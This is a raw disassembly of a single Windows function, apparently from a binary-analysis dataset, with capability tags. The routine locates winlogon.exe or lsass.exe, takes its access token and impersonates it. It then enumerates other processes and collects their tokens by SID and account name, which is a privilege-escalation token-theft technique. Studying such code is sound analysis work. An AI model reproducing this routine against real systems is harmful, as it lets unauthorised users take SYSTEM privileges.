Function at 0x14004e450
Capabilities:
Compare security identifiers
Enumerate process modules
Enumerate processes
Get token privileges

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x528
movaps xmmword [rsp + 0x510], xmm6
call fcn.14004e380
test al, al
jne 0x14004e5a5
xor r13d, r13d
mov ecx, 2
xor edx, edx
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov rsi, rax
lea rdi, [rsp + 0xc0]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0xc0], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.DLL_Process32FirstW
test eax, eax
je 0x14004e5a5
lea rbx, [rsp + 0xec]
lea r14, str.winlogon.exe
lea r15, str.lsass.exe
mov r12, qword [sym.imp.KERNEL32.DLL_GetLastError]
xor edi, edi
nop
mov rcx, rbx
mov rdx, r14
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14004e4f6
mov edi, dword [rsp + 0xc8]
mov rcx, rbx
mov rdx, r15
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14004e50d
mov r13d, dword [rsp + 0xc8]
test r13d, r13d
je 0x14004e516
test edi, edi
jne 0x14004e557
mov rcx, rsi
lea rdx, [rsp + 0xc0]
call sub.KERNEL32.DLL_Process32NextW
mov ebp, eax
call r12
test ebp, ebp
jne 0x14004e4e0
cmp eax, 0x12
jne 0x14004e4e0
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rsp + 0x300], 0
test edi, edi
jne 0x14004e56c
mov edi, r13d
test r13d, r13d
jne 0x14004e56c
jmp 0x14004e5a5
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rsp + 0x300], 0
mov ecx, 0x400
xor edx, edx
mov r8d, edi
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
test rax, rax
je 0x14004e5a5
lea r8, [rsp + 0x300]
mov rcx, rax
mov edx, 0xa
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x300]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rsp + 0x7c], 0
nop dword [rax]
mov ecx, 0x320
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14004e5b0
mov rsi, rax
lea r8, [rsp + 0x7c]
mov rcx, rax
mov edx, 0x320
call sub.PSAPI.DLL_EnumProcesses
mov r14d, dword [rsp + 0x7c]
cmp r14d, 0x320
jb 0x14004e619
lea rdi, [rsp + 0x7c]
nop word [rax + rax]
lea ebx, [r14 + r14*2]
mov rcx, rsi
mov rdx, rbx
call sub.msvcrt.dll_realloc
mov rsi, rax
mov rcx, rax
mov edx, ebx
mov r8, rdi
call sub.PSAPI.DLL_EnumProcesses
mov r14d, dword [rsp + 0x7c]
cmp r14d, ebx
jae 0x14004e5f0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x40], xmm6
mov qword [rsp + 0x50], 0
cmp r14d, 4
jae 0x14004f0de
mov rcx, rsi
call fcn.140257dd0
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0xa0], 0
xor esi, esi
lea rdi, [rsp + 0xc0]
mov r15, qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14004e690
mov rdx, rbp
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x98]
mov sil, 1
lea rcx, [rsp + 0x40]
call fcn.14004f420
mov qword [rsp + 0xb8], rsi
mov rbp, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
cmp r12, rbp
je 0x14004e770
xor ebx, ebx
jmp 0x14004e6b9
cmp rax, rbx
jbe 0x14004e773
mov r14, rbx
inc ebx
mov rax, r12
sub rax, rbp
sar rax, 3
cmp rax, rbx
jbe 0x14004e6b0
mov r13, rbx
mov esi, ebx
jmp 0x14004e6fe
mov r12, qword [rsp + 0x48]
inc esi
mov rbp, qword [rsp + 0x40]
mov rax, r12
sub rax, rbp
sar rax, 3
mov r13, rsi
cmp rax, rsi
jbe 0x14004e6b0
mov byte [rsp + 0xc0], 0
mov rcx, qword [rbp + r14*8]
mov rdx, qword [rbp + r13*8]
mov r8, rdi
call qword [0x1402da3c8]
cmp byte [rsp + 0xc0], 0
je 0x14004e6e0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + r13*8]
cmp qword [rax + r14*8], rcx
je 0x14004e73a
call r15
mov rax, qword [rsp + 0x40]
lea rcx, [rax + r13*8]
lea rdx, [rax + r13*8]
add rdx, 8
mov r12, qword [rsp + 0x48]
mov r8, r12
sub r8, rdx
call sub.msvcrt.dll_memmove
add r12, 0xfffffffffffffff8
mov qword [rsp + 0x48], r12
dec esi
jmp 0x14004e6e5
mov rbp, r12
test byte [rsp + 0xb8], 1
jne 0x14004e977
cmp r12, rbp
je 0x14004e670
xor r14d, r14d
jmp 0x14004e7c7
mov rax, qword [rsp + 0xc0]
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x98], rbx
inc r14d
mov rbp, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rbp
sar rax, 3
cmp rax, r14
jbe 0x14004e673
mov dword [rsp + 0x300], 0
mov rcx, qword [rbp + r14*8]
lea rax, [rsp + 0x300]
mov qword [rsp + 0x20], rax
mov edx, 0x13
mov r8, rdi
mov r9d, 8
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14004e7a7
mov rbx, qword [rsp + 0x98]
cmp rbx, qword [rsp + 0xa0]
jne 0x14004e790
mov rsi, qword [rsp + 0x90]
mov r12, rbx
sub r12, rsi
mov r13, r12
sar r13, 3
lea rax, [r13 + 1]
movabs rcx, 0x1fffffffffffffff
cmp rax, rcx
ja 0x14004f348
mov rbp, r12
shr rbp, 2
cmp rbp, rax
cmovbe rbp, rax
movabs rax, 0x7ffffffffffffff8
cmp r12, rax
cmovae rbp, rcx
test rbp, rbp
je 0x14004e876
cmp rbp, rcx
ja 0x14004f355
lea rcx, [rbp*8]
call fcn.1400731c0
jmp 0x14004e878
xor eax, eax
lea rcx, [rax + r13*8]
mov rdx, qword [rsp + 0xc0]
mov qword [rax + r13*8], rdx
mov r8, rbx
sub r8, rsi
je 0x14004e93d
add r8, 0xfffffffffffffff8
cmp r8, 0x98
jae 0x14004e8a6
mov rdx, rbx
jmp 0x14004e920
add r12, rax
mov rdx, rbx
sub rdx, r12
cmp rdx, 0x20
jae 0x14004e8ba
mov rdx, rbx
jmp 0x14004e920
shr r8, 3
inc r8
mov r9, r8
and r9, 0xfffffffffffffffc
lea r10, [r9*8]
sub rcx, r10
mov rdx, rbx
sub rdx, r10
lea r10, [rax + r13*8]
add r10, 0xfffffffffffffff0
mov r11, r9
neg r11
xor r12d, r12d
nop word [rax + rax]
movups xmm0, xmmword [rbx + r12*8 - 0x20]
movups xmm1, xmmword [rbx + r12*8 - 0x10]
movups xmmword [r10 + r12*8], xmm1
movups xmmword [r10 + r12*8 - 0x10], xmm0
add r12, 0xfffffffffffffffc
cmp r11, r12
jne 0x14004e8f0
cmp r8, r9
je 0x14004e935
nop word cs:[rax + rax]
mov r8, qword [rdx - 8]
add rdx, 0xfffffffffffffff8
mov qword [rcx - 8], r8
add rcx, 0xfffffffffffffff8
cmp rdx, rsi
jne 0x14004e920
mov rbx, qword [rsp + 0x90]
lea rdx, [rax + rbp*8]
lea rax, [rax + r13*8]
add rax, 8
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdx
test rbx, rbx
je 0x14004e7a7
mov rcx, rbx
call fcn.140073240
jmp 0x14004e7a7
cmp r12, rbp
je 0x14004f306
lea r14, [rsp + 0x300]
lea r13, [rsp + 0x88]
mov r12, qword [sym.imp.ADVAPI32.dll_EqualSid]
xor edi, edi
jmp 0x14004e9a9
cmp rax, rdi
jbe 0x14004eb61
mov dword [rsp + 0x440], 0
mov dword [rsp + 0x60], 0
mov r8d, 0x140
lea rsi, [rsp + 0xc0]
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rbp + rdi*8]
lea rax, [rsp + 0x440]
mov qword [rsp + 0x20], rax
mov edx, 1
mov r8, rsi
mov r9d, 0x140
mov rsi, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rsi
mov dword [rsp + 0x78], 0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + rdi*8]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov edx, 0x14
lea r8, [rsp + 0x78]
mov r9d, 4
call rsi
inc edi
mov rbp, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rbp
sar rax, 3
mov rsi, rdi
mov ebx, edi
cmp rax, rdi
ja 0x14004ea9d
jmp 0x14004e9a0
mov rax, qword [rsp + 0x40]
lea rcx, [rax + rsi*8]
lea rdx, [rax + rsi*8]
add rdx, 8
mov rsi, qword [rsp + 0x48]
mov r8, rsi
sub r8, rdx
call sub.msvcrt.dll_memmove
add rsi, 0xfffffffffffffff8
mov qword [rsp + 0x48], rsi
dec ebx
inc ebx
mov rbp, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rbp
sar rax, 3
mov rsi, rbx
cmp rax, rbx
jbe 0x14004e9a0
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x88], 0
mov r8d, 0x140
mov rcx, r14
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rbp + rsi*8]
mov qword [rsp + 0x20], r13
mov edx, 1
mov r8, r14
mov r9d, 0x140
mov rbp, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rbp
mov dword [rsp + 0x80], 0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + rsi*8]
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x20], rax
mov edx, 0x14
lea r8, [rsp + 0x80]
mov r9d, 4
call rbp
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0x300]
call r12
test eax, eax
je 0x14004ea7b
mov eax, dword [rsp + 0x78]
cmp eax, dword [rsp + 0x80]
jne 0x14004ea7b
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + rsi*8]
cmp qword [rax + 8], rcx
je 0x14004ea54
call r15
jmp 0x14004ea4f
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
cmp rcx, rbp
je 0x14004f306
xor r13d, r13d
xor r14d, r14d
jmp 0x14004ebb9
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + r14*8]
call r15
inc r14d
mov rbp, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
sub rax, rbp
sar rax, 3
cmp rax, r14
jbe 0x14004f2d8
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x8c], 0
mov r8d, 0x140
lea rsi, [rsp + 0xc0]
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rbp + r14*8]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov edx, 1
mov r8, rsi
mov r9d, 0x140
mov rsi, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rsi
mov dword [rsp + 0x88], 0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + r14*8]
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x20], rax
mov edx, 0x14
lea r8, [rsp + 0x88]
mov r9d, 4
call rsi
mov dword [rsp + 0xb4], 0xc8
mov dword [rsp + 0xb0], 0xc8
mov rdx, qword [rsp + 0xc0]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x440]
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea r8, [rsp + 0x300]
lea r9, [rsp + 0xb4]
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
mov rcx, qword [rsp + 0xc0]
mov edx, 0x26
call qword [sym.imp.ADVAPI32.dll_IsWellKnownSid]
cmp dword [rsp + 0x300], 0x2d4d5744
je 0x14004eb90
test eax, eax
je 0x14004ed10
mov rcx, qword [rsp + 0x60]
mov rsi, r13
sub rsi, rcx
mov rax, r13
sub rax, rcx
je 0x14004ed88
mov r13, qword [rcx]
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + r14*8]
mov qword [rcx], rax
mov rbp, qword [rsp + 0x68]
cmp rbp, qword [rsp + 0x70]
je 0x14004edae
mov qword [rbp], r13
add rbp, 8
mov qword [rsp + 0x68], rbp
mov r13, rbp
jmp 0x14004eb9c
mov rdi, qword [rsp + 0x40]
cmp r13, qword [rsp + 0x70]
jne 0x14004ed98
mov rbp, qword [rsp + 0x60]
mov rsi, r13
sub rsi, rbp
mov rbx, rsi
sar rbx, 3
lea rax, [rbx + 1]
movabs rcx, 0x1fffffffffffffff
cmp rax, rcx
ja 0x14004f378
mov r12, rsi
shr r12, 2
cmp r12, rax
cmovbe r12, rax
movabs rax, 0x7ffffffffffffff8
cmp rsi, rax
cmovae r12, rcx
test r12, r12
je 0x14004eecc
cmp r12, rcx
ja 0x14004f382
lea rcx, [r12*8]
call fcn.1400731c0
jmp 0x14004eece
mov rdi, qword [rsp + 0x40]
cmp r13, qword [rsp + 0x70]
je 0x14004ee1a
mov rax, qword [rdi + r14*8]
mov qword [r13], rax
add r13, 8
mov qword [rsp + 0x68], r13
jmp 0x14004eb9c
mov rsi, qword [rsp + 0x60]
mov r12, rbp
sub r12, rsi
mov rbx, r12
sar rbx, 3
lea rax, [rbx + 1]
movabs rcx, 0x1fffffffffffffff
cmp rax, rcx
ja 0x14004f36e
mov rdi, r12
shr rdi, 2
cmp rdi, rax
cmovbe rdi, rax
movabs rax, 0x7ffffffffffffff8
cmp r12, rax
cmovae rdi, rcx
test rdi, rdi
je 0x14004ee9d
cmp rdi, rcx
ja 0x14004f369
lea rcx, [rdi*8]
call fcn.1400731c0
jmp 0x14004ee9f
sar rsi, 3
lea rcx, [rsi + 1]
mov rbx, rax
shr rbx, 2
cmp rbx, rcx
cmovbe rbx, rcx
movabs rcx, 0x7ffffffffffffff8
cmp rax, rcx
movabs rax, 0x1fffffffffffffff
cmovae rbx, rax
cmp rbx, rax
ja 0x14004f369
lea rcx, [rbx*8]
call fcn.1400731c0
lea rcx, [rax + rsi*8]
mov rdx, qword [rdi + r14*8]
mov qword [rax + rsi*8], rdx
lea rsi, [rax + rsi*8]
add rsi, 8
lea rax, [rax + rbx*8]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rax
test r13, r13
je 0x14004ee95
mov rcx, r13
call fcn.140073240
mov r13, rsi
jmp 0x14004eb9c
xor eax, eax
lea rcx, [rax + rbx*8]
mov qword [rax + rbx*8], r13
mov r8, rbp
sub r8, rsi
je 0x14004f03a
add r8, 0xfffffffffffffff8
cmp r8, 0x98
jae 0x14004ef4d
mov rdx, rbp
jmp 0x14004f020
xor eax, eax
lea rdx, [rax + rbx*8]
mov rcx, qword [rdi + r14*8]
mov qword [rax + rbx*8], rcx
mov rcx, r13
sub rcx, rbp
je 0x14004ef1c
add rcx, 0xfffffffffffffff8
cmp rcx, 0x228
jae 0x14004ef64
mov r8, r13
nop word cs:[rax + rax]
mov rcx, qword [r8 - 8]
add r8, 0xfffffffffffffff8
mov qword [rdx - 8], rcx
add rdx, 0xfffffffffffffff8
cmp r8, rbp
jne 0x14004ef00
mov rcx, qword [rsp + 0x60]
jmp 0x14004ef1f
mov rcx, r13
lea r8, [rax + r12*8]
lea r13, [rax + rbx*8]
add r13, 8
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r8
test rcx, rcx
je 0x14004eb9c
call fcn.140073240
jmp 0x14004eb9c
add r12, rax
mov rdx, rbp
sub rdx, r12
cmp rdx, 0x20
jae 0x14004efb3
mov rdx, rbp
jmp 0x14004f020
lea r8, [r13 - 8]
mov r9, r8
sub r9, rbp
and r9, 0xfffffffffffffff8
lea r10, [rax + rsi]
add r10, 0xfffffffffffffff8
mov r11, r10
sub r11, r9
cmp r11, r10
ja 0x14004f073
mov r10, r8
sub r10, r9
cmp r10, r8
ja 0x14004f06b
add rsi, rax
mov r8, r13
sub r8, rsi
cmp r8, 0x20
jae 0x14004f07b
mov r8, r13
jmp 0x14004ef00
shr r8, 3
inc r8
mov r9, r8
and r9, 0xfffffffffffffffc
lea r10, [r9*8]
sub rcx, r10
mov rdx, rbp
sub rdx, r10
lea r10, [rax + rbx*8]
add r10, 0xfffffffffffffff0
mov r11, r9
neg r11
xor r12d, r12d
nop word cs:[rax + rax]
movups xmm0, xmmword [rbp + r12*8 - 0x20]
movups xmm1, xmmword [rbp + r12*8 - 0x10]
movups xmmword [r10 + r12*8], xmm1
movups xmmword [r10 + r12*8 - 0x10], xmm0
add r12, 0xfffffffffffffffc
cmp r11, r12
jne 0x14004eff0
cmp r8, r9
je 0x14004f035
nop word cs:[rax + rax]
mov r8, qword [rdx - 8]
add rdx, 0xfffffffffffffff8
mov qword [rcx - 8], r8
add rcx, 0xfffffffffffffff8
cmp rdx, rsi
jne 0x14004f020
mov rbp, qword [rsp + 0x60]
lea rdx, [rax + rdi*8]
lea r13, [rax + rbx*8]
add r13, 8
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], rdx
test rbp, rbp
je 0x14004eb9c
mov rcx, rbp
call fcn.140073240
jmp 0x14004eb9c
mov r8, r13
jmp 0x14004ef00
mov r8, r13
jmp 0x14004ef00
shr rcx, 3
inc rcx
mov r9, rcx
and r9, 0xfffffffffffffffc
lea r10, [r9*8]
sub rdx, r10
mov r8, r13
sub r8, r10
lea r10, [rax + rbx*8]
add r10, 0xfffffffffffffff0
mov r11, r9
neg r11
xor esi, esi
nop word [rax + rax]
movups xmm0, xmmword [r13 + rsi*8 - 0x20]
movups xmm1, xmmword [r13 + rsi*8 - 0x10]
movups xmmword [r10 + rsi*8], xmm1
movups xmmword [r10 + rsi*8 - 0x10], xmm0
add rsi, 0xfffffffffffffffc
cmp r11, rsi
jne 0x14004f0b0
cmp rcx, r9
jne 0x14004ef00
jmp 0x14004ef15
shr r14d, 2
xor r15d, r15d
mov rdi, qword [sym.imp.KERNEL32.DLL_OpenProcess]
lea r13, [rsp + 0xc0]
jmp 0x14004f120
mov rax, qword [rsp + 0xc0]
mov qword [r8], rax
add r8, 8
mov qword [rsp + 0x48], r8
inc r15
cmp r15, r14
je 0x14004e634
mov qword [rsp + 0xc0], 0
mov r8d, dword [rsi + r15*4]
mov ecx, 0x400
xor edx, edx
call rdi
mov rcx, rax
mov edx, 0xe
mov r8, r13
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
test ebx, ebx
je 0x14004f114
mov r8, qword [rsp + 0x48]
cmp r8, qword [rsp + 0x50]
jne 0x14004f100
mov rcx, qword [rsp + 0x40]
mov rbx, r8
sub rbx, rcx
mov rbp, rbx
sar rbp, 3
lea rax, [rbp + 1]
movabs rdx, 0x1fffffffffffffff
cmp rax, rdx
ja 0x14004f35a
mov r12, rbx
shr r12, 2
cmp r12, rax
cmovbe r12, rax
movabs rax, 0x7ffffffffffffff8
cmp rbx, rax
cmovae r12, rdx
test r12, r12
je 0x14004f1d1
cmp r12, rdx
ja 0x14004f364
lea rcx, [r12*8]
call fcn.1400731c0
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
jmp 0x14004f1d3
xor eax, eax
lea rdx, [rax + rbp*8]
mov r9, qword [rsp + 0xc0]
mov qword [rax + rbp*8], r9
mov r10, r8
sub r10, rcx
je 0x14004f2aa
add r10, 0xfffffffffffffff8
cmp r10, 0x98
jae 0x14004f204
mov r9, r8
jmp 0x14004f290
add rbx, rax
mov r9, r8
sub r9, rbx
cmp r9, 0x20
jae 0x14004f218
mov r9, r8
jmp 0x14004f290
shr r10, 3
inc r10
mov r13, r10
and r13, 0xfffffffffffffffc
lea r11, [r13*8]
sub rdx, r11
mov r9, r8
sub r9, r11
lea rbx, [rax + rbp*8]
add rbx, 0xfffffffffffffff0
mov r11, r13
neg r11
xor edi, edi
nop word [rax + rax]
movups xmm0, xmmword [r8 + rdi*8 - 0x20]
movups xmm1, xmmword [r8 + rdi*8 - 0x10]
movups xmmword [rbx + rdi*8], xmm1
movups xmmword [rbx + rdi*8 - 0x10], xmm0
add rdi, 0xfffffffffffffffc
cmp r11, rdi
jne 0x14004f250
cmp r10, r13
mov rdi, qword [sym.imp.KERNEL32.DLL_OpenProcess]
lea r13, [rsp + 0xc0]
je 0x14004f2a5
nop word cs:[rax + rax]
mov r8, qword [r9 - 8]
add r9, 0xfffffffffffffff8
mov qword [rdx - 8], r8
add rdx, 0xfffffffffffffff8
cmp r9, rcx
jne 0x14004f290
mov rcx, qword [rsp + 0x40]
lea r8, [rax + r12*8]
lea rax, [rax + rbp*8]
add rax, 8
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r8
test rcx, rcx
je 0x14004f114
call fcn.140073240
jmp 0x14004f114
mov rdi, qword [rsp + 0x60]
cmp r13, rdi
je 0x14004f2f4
lea rcx, [0x1402da5f0]
mov rdx, rdi
mov r8, r13
call fcn.140052060
test rdi, rdi
je 0x14004f306
mov qword [rsp + 0x68], rdi
mov rcx, rdi
call fcn.140073240
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14004f318
call fcn.140073240
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14004f32c
mov qword [rsp + 0x48], rcx
call fcn.140073240
movaps xmm6, xmmword [rsp + 0x510]
add rsp, 0x528
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x90]
call fcn.14003e380
call fcn.140002ba0
lea rcx, [rsp + 0x40]
call fcn.14003e380
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0x60]
call fcn.14003e380
lea rcx, [rsp + 0x60]
call fcn.14003e380
call fcn.140002ba0
mov rsi, rax
jmp 0x14004f3b4
test rdi, rdi
je 0x14004f3db
mov qword [rsp + 0x68], rdi
mov rcx, rdi
call fcn.140073240
jmp 0x14004f3db
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14004f3f5
mov qword [rsp + 0x98], rcx
call fcn.140073240
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14004f409
mov qword [rsp + 0x48], rcx
call fcn.140073240
mov rcx, rsi
call fcn.14009d370
int3